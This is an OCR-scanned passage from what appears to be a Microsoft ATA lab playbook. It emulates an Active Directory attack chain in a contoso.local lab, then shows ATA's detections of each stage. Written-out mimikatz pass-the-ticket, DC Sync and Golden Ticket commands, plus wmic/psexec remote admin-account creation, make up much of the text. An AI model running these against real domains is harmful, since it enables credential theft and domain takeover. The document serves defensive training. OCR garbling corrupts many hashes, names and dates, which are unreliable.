mimikatz{commandline? # kerberos::ptt c:temp:tickets

* Directory: ‘c:stempstickets’
‘cistempsticketss[B5;1988c 1-8—B8-48a50008—MNuckCPc ifs—dcl .contoso. local.kir
‘cistemphticketsn[B;:;1788c 1-8—1-48a50888—NuckCPldap—dcl .contoso. local. . kir

‘eistempitickets\[B8;5;1988c 1-8—-2-48a50000—Nuc kCRLDAP-DC1 .Contoso . local. . kiv

*cintempitickets\N[B;1988c 1-2-0-60a1 8008 Nuc kCekrbt gt —CONTO0S0 . LOCAL J kirbi

‘cintempisticketsN[B;19688c 1-2-1-48e18080-Nuc kCRkrhtgt—CONTOS0 . LOCAL Jkirbi

* File: ’‘c:stemphticketss\[B:;1928a8 1-8-8-48a18888—NuckCPcifs—plaxserver.Contoso. lo
cal.kivbi’: OK

* File: ‘c:stempSticketsN\[B;198a8 1-2-8-40e18080—NuckClkrbtgt—-CONTOS0.LOCAL. kirbi
*: QK

mimikatz{commandline> # exit
Byet

Ensure that the NuckC@krbtgt-CONTOSO.LOCAL tickets were successfully imported as illustrated
above.

Now, let's validate that the right tickets are in the command prompt session.
16. Action: Validate the ticket was imported

Execute the following in the same elevated command prompt:
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| klist

c :\tools\mimikatz"Win34 >klist

Current Logonld is B@:8xh5e??
Cached Tickets: <62

8 > Client: |[NuckC @ CONTOSO.LOCAL

Server: |krbtgt/CONTOS0.LOCAL @ CONTOSO0.LOCAL

KerhTicket Encryption lype-: AES—Z56-CIS—HAAGC-SHA1-96

Ticket Flags Bx48el1@BBB@ —> forwardable renewable initial pre_authent na
e_canonicalize

Start Time: 1/5-2017 19:46:11 (local>

End Time: 162017 5:46:11 <(local>

Renew Time: 1-12/20017 19:46:11 (local>

Session Key Type: AES-256—CTS-HMAC-SHA1-96

The attacker now successfully imported the harvested ticket into the session, and will now leverage
their new privilege and access to access the domain controller’'s C drive:

17. Action: Access contents of dc1\c$ with NuckC’s credential

Execute the following in the same command prompt to which the tickets were just imported.

dir \\dcl\c$

c :\tools\mimikatz\Win32Pdir \\dcl\c$
Uolume in drive \\dci\c$ has no label.
Uolume Serial Number is E453-460B
Directory of \\dci\c$

08,22,2813 18:52 AM {DIR> PerfLogs

12/16,/2816 12:87 PM <DIR> Program Files
08,22,20813 10:39 AM <DIR> Program Files
12/15,2816 @5:18 AM <DIR> Users
12/15/2816 ©09:14 PM <DIR> Windows

@ File(s)> @ bytes

5 Dird(s)> 30,997.393.4088 bytes free

The attacker is now, for all intents and purposes, NuckC, in the digital world. Only administrators
should be able to access the root of the domain controller. The attacker is using legitimate
credentials, can access legitimate resources and executing legitimate executables.

Most IT shops would be blind to this post-infiltration activity going on in their environment.
Fortunately, you have ATA. Let's look at the ATA Console to see what was detected:
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Identity theft using pass-the-ticket attack

MNuck Chorris's Kerberos tickets were stalen from ADMIN-PC to VICTIM-PC and used to access 3 resources,

ADMEN-FY WL TIRA-PX 3 TESCRECES

ATA detected that Nuck Chorris's tickets were stolen from ADMIN-PC and moved to VICTIM-PC.
ATA also shows which resources were accessed using the stolen tickets. Not only did you become
aware of the attack, you gain insight into where to start our investigation.

NOTE: This event will take 2 hours to show up as ATA captures the next 2 hours of
activities to lower the False Positive (FP) rate of the Pass-the-Ticket (PtT) event.

This information is highly important to focus on as a network defender. The attacker accessed the
CIFS, using the “dir \\dc1\c$” command. The attacker sent an LDAP request to the local DC1 for
purposes of the CIFS. The KRBTGT was used to directly talk to DC1 and authenticate (a necessary
process for accessing the c$ drive of the DC). From this, we, as defenders can confirm that the
Pass-the-Ticket activity led to direct access to the DC1 computer.
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Remote Code Execution

Remote code execution against a DC is something every adversary wishes to do—making
modifications to our Identity layer itself can make it extremely hard to detect their presence.
Let's execute remote commands to add a user to the domain, and add them to the
“Administrators” security group, using NuckC's legitimate credentials. With built-in tools, no
malicious software or research tools necessary.

18. Action: Remote Execution against DC1 to add an Administrator

From the same command prompt where you loaded Nuckc's Kerberos tickets execute the
following:

wmic /node:dcl process call create “net user /add InsertedUser pa$$wOrdl”

psexec \\dcl -accepteula net localgroup “Administrators” InsertedUser /add

ministrator: C:\Windows\system32\cmd.exe

:nToolzsmimikatz>umic /node:dcl process call create "net user sadd FindMe PaSSword"
xecuting (MWin32_Process)—>Create()

ethod execution successful.

Dut Parameters:

linstance of __ PARAMETERS

ProcessId = 5884;
Returnlalue = 8;

NToolzvmimikatz>

c:\tools\SysinternalsSuite>PsExec.exe \\dcl —-accepteula net user /add Insertedl

er padSubrdi

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - wuww.sysinternals.com
The command completed successfully.

net exited on dcl with error code 0.

c:\tools\SysinternalsSuite>PsExec.exe \\dcl -accepteula net localgroup "Administ
rators" InsertedUser /add

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

The command completed successfully.

Action 1: Add an Administrator to the Domain
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What just happened?

The attacker just created a user account and made the account an Administrator. You clearly
exerted our Doman Admin privileges you now possess, via remote code execution. Not only that,
you can create more Domain Admins, remove domain admins. Again, all with legitimate
credentials with legitimate tools.

Good news, ATA detected the remote execution against DC1 from Victim-PC. In the below
screenshot, we also illustrate ATA detecting not just successful attempts but also failed attempts
by the adversary. ATA was able to detect remote execution using PSexec and remote WMI
commands against the domain controller.

Remote execution attempt detected OPEN

The following remote execution attempts were performed on DC1 from VICTIM-PC:

= Successful remote creation of PSEXESVC by Nuck Chorris.
= Attempted remote execution of one or more WMI methods by Nuck Chorris.

Nuck Chorris VICTIM-PC DC1

TIME ACCOUNTS CREATED RESULT 1A DOMAIN CONTROLLERS
9 3 me| PSEXESVC
Nuck Chorris Ve | DC1
(5] | o) @ Success L \@

{8} %SystemRoot¥o\PSEXESVC....

90 Nuck Chorris |_1 Unknown WMI Me... @ Unknown l\@ ned
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Domain Dominance

The attacker has achieved domain dominance- they can run any code, as administrators, and
access any resource in the domain.

However, to ensure the persistency of domain dominance, backdoors and other mechanisms are
put in place as insurance policies, in case the original method of attack was discovered, or a
credential randomly reset. First you are going to compromise the credentials of the KRBTGT user
account. This account acts as a service account for the Key Distribution Center (KDC) service. Once
you compromise the KRBTGT account you will be able to generate Kerberos tickets that will be
valid for 10 years. DC Sync: Compromise the KRBTGT

So far, everything the attacker did on the DC required them to run arbitrary code on the DC. ATA
detected these actions this, raising the respective Suspicious Activity flag as well as providing the
network defender with information to pivot on.

But what if the attacker decided to run a more covert attack, one that doesn’t run arbitrary code
on the DC (without PsExec or adding users to elevated groups).

Mimikatz, the research tool of choice in this area, has a capability called "DC Sync”. This allows
the attacker, with Domain Admin credentials, to replicate any credential back to them as if they
were a DC.

19. Action: Compromise KRBTGT credentials.

Open up the command prompt that has NuckC's credentials—if you closed the command prompt,
go back to action number 14.

Go to the command prompt and make sure that NuckC's ticket is still injected in the session.

klist
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c :\toolsltklist
Current Logonld is 0:8x1h5d9
Cached Tickets: (5)

Ha> Client: NuckC @ CONTO0SO.LOCAL
Server: krbhtgt/CONTOSO.LOCAL @ CONTOSO.LOCAL
KerbTicket@Encryption Type: RSADSI RC4-HMACC{NT>
Ticket FliWNys Ox68al18008 —> forwardable forwarded renewabhle pre_authent n

ame_canonicalizeg
Start Téme: 12/21/20816 22:84:28 (local>>
End Time: 12/22/72016 7:47:28 (local)
Renew Time: 12/26,/2016 21:02:22 {(locald
Session Key Type: RSADSI RC4-HMAC{NT)>

Client: NuckC @ CONTOSO.LOCAL
G 0

Action 2: Validate NuckC from krbtgt/Contoso.Local

Now that you know you're working from the correct console, you can emulate the attacker and
try to get the ultimate credentials of the domain: the KRBTGT. Why this account? With this
account, you can sign your own tickets.

20. Action: Execute DC Sync

From the now validated NuckC command prompt on Victim-PC, traverse to where Mimikatz is
located on the filesystem and execute the following command:

mimikatz.exe “lsadump::dcsync /domain:contoso.local /user:krbtgt “exit” >> krbtgt-export.txt

c :\tools>mimikatz\Win32\mimikatz.exe "lsadump::dcsync /domain:contoso.local /use

r:krbtgt" “exit' >> krbtgt—export.txt

Action 3: DC Sync against krbtgt account

Once the attacker will open-up the "krbtgt-export.txt” they will have the KRBTGT details needed.
Open the "krbtgt-export.txt” file you just exported the hash to.
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mimikatz(commandline) # 'Isadumﬂ::dcsync /domain:contoso. local /user:krbtgt
[Dc] 'contoso.local’ will be the domain

[pc] 'DCl.contoso.local’ will be the DC server

[poc] 'krbtgt’ will be the user account

object RDN :fkrbtgt |

%% SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

Account expiration
pPassword last change :
Object security ID
object Relative ID

5ol c .

Hash NTLM: 20ea8ba86d85ebda876c075185a3cc7e
" Tm="07 Ueaspasoassepaas/ocu/5185ast <
Im - 0: 9772f8980d2cf4d6eefd20c8c8dc608a

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
pefault salt : CONTOSO.LOCALkrbtgt
pefault Iterations : 4096
Credentials
aes256_hmac (4096) : 046785f359bc308a64bb8a3b0alef9714fc0chb5a33ce709986cd589chbddl6abb

e BESI2BMAC p _(4098) jp 761ee7CePBOABASTIGEIAIBTEOND po . o i p o g

Figure 1: The KRBTGT account “now belong to us”.

At this point, the attacker has all they need to sign any TGT for any resource using the stolen
NTLM hash without ever going back to the Domain Controller. With this, the attacker can
become anyone at any time he so desires (until the KRBTGT account itself is reset, twice™).

Let's head to the ATA console and see what was presented back to the network defenders:

13 https://blogs.microsoft.com/microsoftsecure/2015/02/11/krbtgt-account-password-reset-
scripts-now-available-for-customers/
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Malicious replication of directory services OFEN

Malicious replication requests were successfully performed by Nuck Chorris, from VICTIM-PC against DC1.

2 . A

Nuck Choms VICTIM-PC D1

90 Muck Chorris @ Success s T

%

ATA Detection: ATA detecting malicious replication (DC Sync)

ATA not only detected the attack but also provided the information needed to take remedial
actions.

Leveraging the KRBTGT to sign fake tickets is known as a Golden Ticket attack, which is also
detected by ATA.

Golden Ticket

Now that the attacker has the hash for the KRBTGT user account they can now create a Kerberos
ticket that is good for an extended period of time. This will give the attacker access to the network
with elevated permissions without needing to authenticate again.

What do you need to create a Golden Ticket:
e Krbtgt user's NTLM hash (we have that from the previous exercise using DC Sync)
e Domain name - in our case Contoso.local
e Domain SID - need to get
e User to impersonate — NuckC (nuckc@contoso.local)

21. Action Find the SID of the Domain
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To find the SID of the domain you can run either PSGetSid from Sysinternals or use the Whoami
command and remove the last part of the SID and you have the SID for the domain.

| Whoami /user

Administrator: Toolz

C:~Toolzsmimikatz>whoami ~user

USER INFORMATION

C:~Toolzsmimikatz>_

22. Action Generate Golden Ticket
Now that we have all the pieces needed we can now generate the Golden Ticket.

Run the following command to generate a Golden Ticket for NuckC. This command will create a
file with the golden ticket that can be used by the attacker whenever they want.

mimikatz.exe "privilege::debug" "kerberos::golden /domain:contoso.local /sid:S-1-5-21-341378073-
1630350876-164697320 /krbtgt:0e7cde3d8148b£f979f1c40bb51216507 /user :NuckC /1d:500
/groups:500,501,513,512,520,518,519 /ticket:GTnuckc.kirbi™ "exit"

[&+] Administrator: Toolz

C:xToolzsmimikatz>nimikatz.exe "privilege::debug' "kerberos::golden /domaln contoso.local ssid:5-1-5-21-341378073— 163335!’
B876-164697328 krbtgt:Be?cde3dB148bf979f1c4Bbb51216587 suser:NuckC ~id:588 /groups:5600.5681.513.512,.528.518.519 ~ticket:
GTNuckC.kirbi" "exit™

mimikatz 2.1 (x86> built on Mov 26 2816 B2:28:17

" La Vie. A L’Amour”

Ve 2R 2R 3

Benjamin DELPY ‘gentilkiwi® ¢ benjamin@gentilkiwi.com >

http:ssblog.gentilkivi.com/mimikatz {oe.eod
with 28 modules = = %/

mimikatz{commandline?> # privilege::debug
Privilege ‘28°' OK

mimikatz (commandline} # kerher olden sdomain:contoso.local ~/s5id:5-1-5-21-341378873-1630350876-164697328 ~krbtgt:Be?c
de3d8148hf329£1cdAbLCII160AT o MuclkC /3id:-CO6 fgnonps:508,.501.513,.512,.520,.518.51? Aticket :GTNuckC.kirbi
3 MuckC
3 contoso.local (CONTOSO0)
3 §-1-5-21-341378873-1630358876-164697320
31,588 |
s #50l LWl L13 G12 LoW Gif 517
: Be?cde3ddB8148bf979f1c4Bbh51216587 — rc4_hmac_nt
t Be24.0017 BIAA:2E AM 5 8-22-2827 B:BB:28 AM ; 8-22-2827 B:BA:28 AN
Ticket : [GTHuckC.kirbi |

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrbCred generated

Final Ticket Saved to file *

mimikatz{commandline> # exit
Byet

23. Action Load the Golden Ticket
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Open a new command prompt and Execute the following to ensure you do not have any elevated
permissions.

Dir \\dcl\c$

Sezsion Ney

Type: AEE-256-CTE-HMAC-EHAL-96

smimikatzddie ssdelscs
znded.

AL-96
d rencwable pre_authent n

TS-HHAC-SHAL-96

As you can see you are using the tickets for JeffV and JeffV does not have access to the root of
the C Drive on DC1.

Browse to the location where you installed Mimikatz and run the following command to load the
Golden Ticket. (When talking about golden tickets it brings me back to when | was a kid watching
Charlie and the Chocolate Factory movie.)
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| mimikatz.exe "privilege::debug" "kerberos::ptt GTnuckc.kirbi" "exit"

[&+] Administrator: Toolz

C:“\Toolz“mimikatz>mimikatz .exe "privilege::debug" "kerberos::ptt GInuckc _kirbi" "exit"

L. mimikatz 2.1 (x86> built on Nov 26 2816 B2:28:17
it~ ##t. A La Vie. A L’Amour"
i AVSRNE < B
i~ o i Benjamin DELPY ‘gentilkiwi® ¢ benjaminBgentilkiwi.com >
it v HiE http:ssblog.gentilkivi.com/mimikatz {oe.eod
* with 28 modules = = =

mimikatz{commandline> # privilege::debhuyg
Privilege *28°' OK

mimikatz{commandline> # kerbheros::ptt GTnuckc.kirbi
= File: 'GInuckc.kirbi’: OK

mimikatz{commandline> # exit
Bye?

C:nToolzvmimikatz>klist
Current Logonld is B:8x8d318
Cached Tickets: (1>

e > i HuckC @ contoso.local
Erhtgt/contoso. local ® contoso.local
KerbTicket Encryption Type: RSEADSI RC4-HMACCNT >
Ticket Flags Bx48eB0B0H ) forwardable renewable initial pre_authent
Start Time: 8-24-2017 R Az
End Time: 8.-22,2027
Renew Time: 8-,22-2027 8: A:28 |
Seszion Hey lype: HSADS] RCA-NMACCHT )

C:sToolzmimikatz>

Notice how the End Time of the ticket is 10 years after the ticket was generated.

Run the following command to use the Golden Ticket.

Dir \\dcl\c$

Note: To generate the Golden ticket alert you will need to use the ticket a second time,12 hours
from now. As a normal Kerberos ticket is valid for 10 hours we need to reuse the Ticket again in
about 12 hours to generate the alert. Attackers have been known to embed malware with Golden
Tickets this way they have constant access to the domain with elevated privileges. You can logout
and come back to the machine later and all you need to do is load the Golden Ticket
(GTNuckC.birbi file) again and then attempt to access a resource such as DC1.
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Kerberos Golden Ticket activity omn |
Suspicious usage of Administrator's Kerberos ticket, indicating a potential Golden Ticket attack, was detected.

5:24 AM - T

g PM

Reason

IAdministrator's Kerberos ticket luas used over a period o

hich exceeded the allowed maximum of}

[ & C

VICTIM-PC Administrator's 14 hours
Kerberos Ticket

used

Evidence

= The Kerberos ticket usage period of 14 hours is based on first ticket usage at August 23, 2017 5:24 AM and last usage at August 23, 2017 7:49 PM.

= The allowed maximum is based on the default domain policy setting of Contoso.Local for maximum Kerberos ticket lifetime of 10 hours (*Maximum lifetime for user ticket”),
= The Kerberos ticket was used to access 3 resources.

« Last passwerd update time for the KRETGT account of Conteso.Local was 4 months age.
- Administrator has not been observed logging into VICTIM-PC recently.
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ATA Reports

In ATA 1.8 a reporting module was introduced with two reports.

e Summary report — The Summary report presents a dashboard of the status in the
system. You can view three sheets - one for a Summary of what was detected, Open
suspicious activities that lists the suspicious activities you should take care of, and
Open health issues that lists ATA system health issues you should take care of. The
suspicious activities listed are broken down by type, as are the health issues.

¢ Modifications to sensitive groups report — This report lists all the changes to
sensitive groups (such as Domain Admins).

24. Action Generate Reports

2 Microsoft 1= (B ) A~

In the ATA Console click the Report icon

In the Summary section set the From and To dates and click Download.
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Microsoft Advanced Threat Analytics

Summary report
Period: 6/21/2017 - 7/19/2017

9 suspicious activities opened, 1 closed 8 health issues opened, 8 closed
Number of suspicious activities opened per date Number of health issues opened per date
7 25
&
: z
¥ 15
1 1 1 1
3 = 1
I I 1 05 | |
o I o
26 236 B/6 TS W6 LT XT ST OTT 9T 147 157 157 177 197 /6 236 /6 FE B/ LT T ST OTT 8T AT 13T IST ATIT 197
Number of suspicious activities closed per date Number of health issues closed per date
12 25
1 5
" s B2
15
0.5 1 1 % 1
1
- | | | |
o 05
0 0
2106 23/6 /6 WE WS T OHT ST OWT 8T AT AT 457 477 107 2146 23/6 /6 T/6 26 T T 5T TT 87 AT 137 15T AT 197
8 types of suspicious activities 4 types of health issues
Number of suspicious activities per type Number of health issues per type

SEMEITIVE 2000 UNT CREDE NTIS LS E<POS ED
GATEVAY SERYKCE FAILED TO START

FECOMNAISS 2 HCE USING SMESESSION
ENURERATION

REIOTE EXECLITION ATTEMPT DETECTED

TASLICIO LG REPLICATIN N OF DIRECTORY
SERVICES

SERVICES EXPOSING SC0OUNT CREDENTIZLS

GATEVAY VERSID MOLTDATED

LIGHTWEISHT G ATEWA Y PEACHED & ME KK By 1
RESCURCE LINIT

UHUS L2 L PROTOC0 L IAPLE MENTATION

IDENTITY THEFT USIMG PASS-THE-TICKET
ATTACK

GATEWAY STOPPED COMIMUNICATING L]

FECO HHAISS A MCE LS ING DNS

HarH |Summary -~ Health issues | Suspicious activities

In the Modification to sensitive groups section set the From and To dates and click Download.
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Modifications to sensitive groups report
Period: 6/21/2017 - 7/9/2017

4 members were added to 3 groups

Latest additions to sensitive groups

Modified group
FindMe Enterprise Admins (Designated
ATA Service

Simple BindService

Member

Domain Admins (Designated
Domain Admins (Designated

Jeffv Domain Controllers (All demain

0 suspicious activities

Latest related suspicious activities

44

2 modifying users

Number of modifications per modifying user

MUK CHORRIS 1

ADIIMISTRATER 3

3 modified groups

Number of modifications per modified group

ENTEPPRISE & DIINEG [ DESIGHATED:
ADIAIMISTRATD FS O F THE ENTERPRISE

DOMEINCONTROLLERS (ALL DO RSN
CONTROLLERS [HTHE DO LN

COMZ N2 DIING [DESKGHATED i
ADPAINISTRATIRS OF THE DOMAIN)
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Conclusion

ATA gives you information and insight into defending your network that aren’t available anywhere
else. ATA turns the Identity-plane into a powerful detection tool that discovers post-infiltration
activities in your environment. ATA helps you digest macro-events and turn them quickly into
cohesive attack stories.

Users who recently logged onto this Recently accessed resources
computer

&0
'Q‘
[}
A
fc

ATA provides the necessary insights and intelligence into the “assume breach” world, where
discovering post-infiltration activities is a must. Firewalls, antivirus engines, intrusion detection
services, and intrusion prevention services all attempt to keep the bad guy out but are more-or-
less blind after the bad guy gets in, when legitimate tools with legitimate credentials are used
maliciously. In the world of cybersecurity, it is crucial to truly understand these malicious activities.

For more information, contact ATA ataeval@microsoft.com; contact local Microsoft rep.
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